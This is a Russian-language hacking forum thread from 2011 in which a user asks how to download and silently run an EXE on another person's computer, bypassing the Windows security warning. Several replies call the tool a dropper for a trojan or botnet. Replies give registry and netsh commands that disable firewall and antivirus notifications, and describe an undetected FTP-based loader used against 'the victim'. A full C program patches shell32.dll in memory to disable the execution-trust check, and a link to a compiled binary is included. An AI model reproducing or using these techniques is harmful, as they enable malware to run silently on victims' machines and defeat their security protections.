Запуск Exe на чужом компьютере

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by xophet, 15 Nov 2011.

  1. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Добрый день!
    Никогда не сталкивался с этим, но возникла необходимость:
    на чужом компьютере запустить программу.
    Идея следующая - моя программа скачает нужный мне EXE-шник и запускает его.
    Но проблема в том, что на некоторых виндах вылезет сообщение безопасности Windows "Вы собираетесь запустить программу..."
    Как его обойти?
    На данный момент идея только одна: программно нажать кнопку "запустить" в этом сообщении.
     
  2. copz1337

    copz1337 Banned

    Joined:
    5 Aug 2011
    Messages:
    30
    Likes Received:
    2
    Reputations:
    0
    Так же интересен вопрос...
     
  3. yuran666666

    yuran666666 Member

    Joined:
    18 Jan 2009
    Messages:
    84
    Likes Received:
    19
    Reputations:
    11
    Для того чтобы скачать и запустить экзешник необходимо запустить для начала как то эту вашу программу, которая произведет эти данные действия. И уж поскольку на то пошло, что это для вас не проблема, то и скачанную программу запускайте тем же способом, что и ту которая её скачивает.
     
  4. ShyRka_coder

    ShyRka_coder Member

    Joined:
    27 Jul 2010
    Messages:
    127
    Likes Received:
    7
    Reputations:
    5
    Да не все так просто , надо писать так что бы такого сообщения не было ....
    Но это так не легко ...
     
  5. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Основную прогу скачивает и запускает юзер. тут проблем нет, он разрешит ее запуск.
     
  6. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    А Вы не знаете, где почитать причины появления этого окна и т.п.?
    Как я уже говорил ранее подобного опыта вообще не было, нужно с чего-то начать.
     
    #6 xophet, 15 Nov 2011
    Last edited: 15 Nov 2011
  7. yuran666666

    yuran666666 Member

    Joined:
    18 Jan 2009
    Messages:
    84
    Likes Received:
    19
    Reputations:
    11
    Ну так и зачем эти извращения? Пусть он скачает и запустит ту, которую вы хотите скачивать и запускать программно.
     
  8. Sams

    Sams Member

    Joined:
    18 Apr 2009
    Messages:
    247
    Likes Received:
    70
    Reputations:
    17
    Аха, тут же очевидно, это будущий бот-нет, либо троян. А та программа, которая скачивает и запускает другую программу, называется дроппером.
    К тому же методы обхода "Вы собираетесь запустить программу..." является задачей вирусологии.
    ТС, палитесь, ой как палитесь :D

    хотя бы сказали, о каких конкретнее речь идет-то. Это win7? Или мега пропатченная XP? И почему бы не выложить скрин этого самого сообщения о безопасности?
    И да, какой вообще язык программирования? :confused:
     
    #8 Sams, 15 Nov 2011
    Last edited: 15 Nov 2011
  9. yuran666666

    yuran666666 Member

    Joined:
    18 Jan 2009
    Messages:
    84
    Likes Received:
    19
    Reputations:
    11
    Ботнет? Не смешите меня.
     
  10. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Никакого палева, это нужно для обновления игрового клиента.
    Такого плана сообщение я видел и на висте и на 7-ке. может быть и на XP есть
    К сожалению в данный момент нету компа с соответствующей операционкой под рукой
    А Вы уверены, что методы, которыми можно выполнить задачу зависят от ЯП? (мне не нужен готовый код, мне нужен толчок в нужном направлении, ведь 100% есть какие-то статьи по теме, но я пока ничего не нашел)
    но все же ЯП: Delphi
    Нет.
     
    #10 xophet, 15 Nov 2011
    Last edited: 15 Nov 2011
  11. Sams

    Sams Member

    Joined:
    18 Apr 2009
    Messages:
    247
    Likes Received:
    70
    Reputations:
    17
    Сам когда-то писал такое обновления лаунчера для сетевой игры.

    Извиняюсь за свои предположения, просто вы начали так подозрительно говорить :)

    Каким методом запускали, что вылазило сообщение о безопасности?
     
    1 person likes this.
  12. Antonio Falkone

    Antonio Falkone Active Member

    Joined:
    23 Dec 2009
    Messages:
    233
    Likes Received:
    163
    Reputations:
    77
    не???
     
    1 person likes this.
  13. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Ничего страшного.
    Запускал через ShellExecute;
     
  14. $PayPal$

    $PayPal$ New Member

    Joined:
    21 Oct 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    а если сертификат присобачить, может не будет запрос вылазить?
     
  15. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    если дроппер юзер запустит то просто выпиливаешь брандмауэр в реестре HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SecurityCenter параметр
    FirewallDisableNotify ставишь в 1
    или через батник netsh firewall set opmode mode=disable
    затем параметр antivirusdisablenotify так же в 1, и просишь ребут так как применится это только после ребута.
     
    2 people like this.
  16. Axeee

    Axeee Elder - Старейшина

    Joined:
    26 Nov 2008
    Messages:
    286
    Likes Received:
    15
    Reputations:
    0
    я писал по какомуто примеру лоадер на дельфине, ставил его не форму своей программы, работу лоадера не видно было при его работе, и никаких запроов не возникало по ходу его работы.. файл .exe который скачивался на комп жертвы и запускался, находился на моем фтп сервере.

    з.ы. антивири не палили ничего.. единственное только если файл который будет скачиваться с фтп будет палевным, то авирь запищит, но если как ТС сказал это все легал и не трой (т.е. не палится), то будет все ок
     
  17. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,310
    Reputations:
    327
    ес прально понял то от этого
    [​IMG]

    вот придумал для windows 7 Sp1 (и 32 и 64 должно работать)
    так. запустили. теперь LoadLibrary("shell32.dll")

    теперь в памяти шелл32 ищем такой вот код (по паттерну):

    Code:
    1	738147be 8bcf            mov     ecx,edi
    2	738147c0 e833000000      call    SHELL32!CExecuteApplication::_VerifyExecTrust (738147f8)
    3	738147c5 83f801          cmp     eax,1
    4	738147c8 7c07            jl      SHELL32!CExecuteApplication::Execute+0x33 (738147d1) [br=1]
    5	738147ca 8bcf            mov     ecx,edi
    6	738147cc e86c0b0000      call    SHELL32!CExecuteApplication::_DoApplication (7381533d)
    7	738147d1 8b4650          mov     eax,dword ptr [esi+50h]
    8	738147d4 5f              pop     edi
    
    делаем VirtualProtect(PAGE_EXECUTE_READWRITE) там где он стартует
    и затем занопливаем строку 2 и строку 4. вуаля, теперь при натравливании ShellExecute
    на заблокированные файлы предупреждение появляться не будет.
     
    #17 sn0w, 16 Nov 2011
    Last edited: 16 Nov 2011
    2 people like this.
  18. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,310
    Reputations:
    327
    а вот накидал от руки + ЕХЕ http://www.sendspace.com/file/whm5v0

    Code:
    #include <windows.h>
    
    #pragma comment(linker, "/ENTRY:start")
    #pragma comment(linker, "/MERGE:.rdata=.text")
    #pragma comment(linker, "/MERGE:.data=.text")
    #pragma comment(linker, "/SECTION:.text,ERW")
    
    //////////////////////////////////////////////////////////////////////////
    bool bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask)
    {
    	for(;*szMask;++szMask,++pData,++bMask)
    		if(*szMask=='x' && *pData!=*bMask )
    			return false;
    	return (*szMask) == NULL;
    }
    
    DWORD dwFindPattern(DWORD dwAddress,DWORD dwLen,BYTE *bMask,char * szMask)
    {
    	for(DWORD i=0; i < dwLen; i++)
    		if( bDataCompare( (BYTE*)( dwAddress+i ),bMask,szMask) )
    			return (DWORD)(dwAddress+i);
    
    	return 0;
    }
    
    //////////////////////////////////////////////////////////////////////////
    int __stdcall start()
    {
    	DWORD rc;
    	HMODULE shell32;
    	PIMAGE_NT_HEADERS pnth;
    	OSVERSIONINFOEX ovi;
    
    	ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    	GetVersionEx((LPOSVERSIONINFO)&ovi);
    
    	if(ovi.dwBuildNumber != 7601)
    	{
    		MessageBoxA(0, "Windows 7 SP 1 (7601) required!",0 ,0);
    		ExitProcess(0xBAD0C);
    	}
    	
    	shell32 = GetModuleHandle("shell32.dll");
    	pnth = (PIMAGE_NT_HEADERS)((LPVOID)((BYTE *)shell32 + ((PIMAGE_DOS_HEADER)shell32)->e_lfanew));
    
    	if(rc = dwFindPattern((DWORD)shell32, 
    		(DWORD)pnth->OptionalHeader.SizeOfImage,
    		(PBYTE)"\x8B\xCF\xE8\x33\x00\x00\x00\x83\xf8\01\x7C\x07", "xxxxxxxxxxxx"))
    	{
    		DWORD prot;
    		
    		VirtualProtect((LPVOID)rc, 20, PAGE_EXECUTE_READWRITE, &prot);
    		
    		// patch the verifier routine in shell32
    		*(DWORD*)((BYTE*)rc+2) = 0x90909090;
    		*((BYTE*)rc+6) = 0x90;
    		*(WORD*)((BYTE*)rc+10) = 0x9090;
    
    		VirtualProtect((LPVOID)rc, 20, prot, &prot);
    	}
    
    	OPENFILENAME ofn;
    	char szFile[260];
    	
    	memset(&ofn, 0, sizeof(ofn));
    	ofn.lStructSize = sizeof ( ofn );
    	ofn.lpstrFile = szFile ;
    	ofn.lpstrFile[0] = '\0';
    	ofn.nMaxFile = sizeof( szFile );
    	ofn.lpstrFilter = "All\0*.*\0PE\0*.exe\0";
    	ofn.nFilterIndex =1;
    	ofn.Flags = OFN_PATHMUSTEXIST|OFN_FILEMUSTEXIST ;
    
    	if(GetOpenFileNameA(&ofn))
    		ShellExecuteA(0, "open", szFile, 0, 0, SW_SHOW);
    	
    	ExitProcess(0);
    }
    аа забыл, это код под 32 разряда собирай только, на 64 не попрет
     
    #18 sn0w, 16 Nov 2011
    Last edited: 16 Nov 2011
    1 person likes this.
  19. xophet

    xophet Member

    Joined:
    16 Apr 2011
    Messages:
    617
    Likes Received:
    49
    Reputations:
    5
    Нифига себе! Спасибо огромное.
     
  20. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    А если не мудрить и запускать через CreateProcess ?
     
    _________________________